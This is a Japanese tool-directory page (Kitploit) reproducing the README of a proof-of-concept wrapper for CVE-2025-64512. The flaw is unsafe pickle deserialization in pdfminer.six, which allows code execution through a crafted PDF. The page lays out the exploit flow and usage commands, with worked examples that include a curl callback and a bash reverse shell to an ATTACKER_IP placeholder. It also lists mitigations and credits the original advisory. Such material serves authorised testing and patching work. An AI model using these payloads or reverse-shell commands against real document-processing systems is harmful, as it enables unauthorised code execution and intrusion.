Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64512 — CVE-2025-64512 PoCのCLIラッパー。悪意のあるPDFおよびpickle.gzペイロードを生成してpdfminer.sixの安全でない逆シリアル化を悪用し、細工されたPDF処理を介したリモートコード実行を可能にします。 | Kitploit
ツール/GitHubGitHub/bardlaudian/cve-2025-64512
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubbardlaudian/cve-2025-64512

CVE-2025-64512

CVE-2025-64512 PoCのCLIラッパー。悪意のあるPDFおよびpickle.gzペイロードを生成してpdfminer.sixの安全でない逆シリアル化を悪用し、細工されたPDF処理を介したリモートコード実行を可能にします。

リポジトリを見る
121ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-64512 — pdfminer.six の安全でない逆シリアル化(Pickle)を利用した細工済みPDF

Python CVE Platform

⚠️ 免責事項: このツールは教育目的および許可を得たペネトレーションテスト専用です。所有しているシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。無断使用は違法です。


目次

  • 概要
  • 脆弱性の詳細
  • 動作原理
  • 要件
  • インストール
  • 使用方法
  • 例
  • 緩和策
  • クレジット
  • 参考文献

概要

pdfminer.six は、PDFファイルからテキストとメタデータを抽出するために広く使われているPythonライブラリで、ドキュメント処理パイプライン、CLIツール、AI/データ取り込みワークフローに組み込まれることがよくあります。影響を受けるバージョンは、CJKフォントサポート用のCMap(文字マップ)キャッシュファイルを、解決されたパスが期待されるキャッシュディレクトリ内に留まることを検証せずに、Pythonの pickle モジュールを使用して読み込みます。

特別に細工されたPDFは、このCMap検索のための攻撃者制御のパスを参照できます。攻撃者が解決されたパスに悪意のある .pickle.gz ファイルを配置できる場合(例: 同じ場所にファイルをアップロードできる機能を利用して)、PDFを処理すると、攻撃者制御のデータに対して pickle.loads() が実行され、任意のコード実行 につながります。この正確なメカニズム(PoC PDF構造を含む)は、公式アドバイザリでmtolleyによって文書化されました。

このリポジトリには、CVE-2025-64512のGitHub Security Advisoryで公開された公式の概念実証(PoC)を包む小さなCLIラッパーが含まれています。新たな悪用手法を導入するものではありません — 悪意のあるPDFテンプレートはアドバイザリ自体からほぼそのまま取られており、このスクリプトは対象パス、実行するコマンド、出力ファイル名をパラメータ化して、PoCを再利用しやすくしているだけです。


脆弱性の詳細


動作原理

pdfminer.six の CMapDB._load_data() は、PDFフォントの /Encoding エントリから取得したCMap名をファイルパスに解決し、それが .pickle.gz で終わる場合は pickle.loads() で読み込みます。この関数は、解決されたパスがpdfminer自身の cmap/ ディレクトリ内に留まることを検証しません。

攻撃要件

  1. フォントの /Encoding が攻撃者が選択したパス(URLエンコードされ、/ が #2F になる)を参照する トリガーPDF
  2. PDFが処理される時点で、対象ファイルシステムの <そのパス>.pickle.gz に存在する 悪意のある .pickle.gz ファイル

通常、両方のファイルは、最終的にpdfminer.sixによって処理される同じアップロード経路(例: ドキュメント取り込みパイプライン)を通じて配信できます。その際、ディスク上に生成されるパスが予測可能または発見可能であることが条件です。

エクスプロイトの流れ

root@kitploit:~
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
   target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
   to process the trigger PDF
6. pickle.loads() executes the payload -> RCE

要件

  • Python 3.8+(標準ライブラリのみ — gzip、pickle、argparse)

ペイロードを生成するためにサードパーティの依存関係は不要です。ターゲット側には、アップロードされたPDFを実際に処理する脆弱性のあるpdfminer.six(またはそれに依存するプロジェクト)が必要です。


インストール

root@kitploit:~
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512

使用方法

root@kitploit:~
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]

options:
  --pdf-out PDF_OUT     Output filename for the trigger PDF (default: trigger.pdf)
  --gz-out GZ_OUT       Output filename for the pickle.gz payload (default: payload.pickle.gz)
  --path PATH, -p PATH  Full path (without .pickle.gz) on the TARGET filesystem where the
                         pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
  --command COMMAND, -c COMMAND
                        Command to execute on the target (default: id)

例

基本的な使い方

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "id > /tmp/pwned" \
  --pdf-out trigger.pdf \
  --gz-out payload.pickle.gz

これにより次のファイルが生成されます:

  • payload.pickle.gz — これを最初にアップロードします(.../uploads/payload.pickle.gz に配置)
  • trigger.pdf — これを次にアップロードします。対象がpdfminer.sixで処理すると、コマンドが実行されます

ネットワークコールバック(ファイルシステムアクセスなしでRCEを確認するのに便利)

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "curl http://ATTACKER_IP:8000/rce-confirmed" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

リバースシェル

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

緩和策

  • pdfminer.six を20251107以降に更新する(または、それをバンドルしているプロジェクトのパッチ適用済みリリース、例: markitdown ≥ 0.1.4、pdfplumber ≥ 0.11.8 を使用する)。
  • pdfminer.six やそれを利用したツールで処理されることになるユーザーアップロードコンテンツを制限/検証する。
  • PDF処理パイプラインをサンドボックス化する(コンテナ、seccomp、外部ネットワークなし)。これにより、アンピックルによるRCEの爆発範囲を最小限に抑えられる。
  • ドキュメント処理サービスによって生成される予期しない子プロセスを監視する。

クレジット

  • 脆弱性の発見・報告者: mtolley
  • アドバイザリ公開者: pdfminer.six メンテナー (pietermarsman)
  • オリジナルPoC(悪意のあるPDFテンプレート): 公式 GitHub Security Advisory より
  • CLIラッパー/パラメータ化: Bardlaudian — 公式PoCの薄い便利ラッパーであり、新規手法は含まない

参考文献

  • 公式 GitHub Security Advisory — GHSA-wf5f-4jwr-ppcp(ここで使用しているPoCの出典)
  • pdfminer.six リポジトリ
  • luigigubello のポリグロット版(単一ファイルのPDF+pickle.gzトリック。このリポジトリでは未使用)
ツールをダウンロード
項目値
CVECVE-2025-64512
影響対象pdfminer.six ≤ 20250506 (markitdown ≤ 0.1.3、pdfplumber ≤ 0.11.7 も対象)
種別安全でない逆シリアル化 (CWE-502)
特権なし(未認証。PDF処理が公開されている場合)
影響任意のコード実行
パッチpdfminer.six 20251107+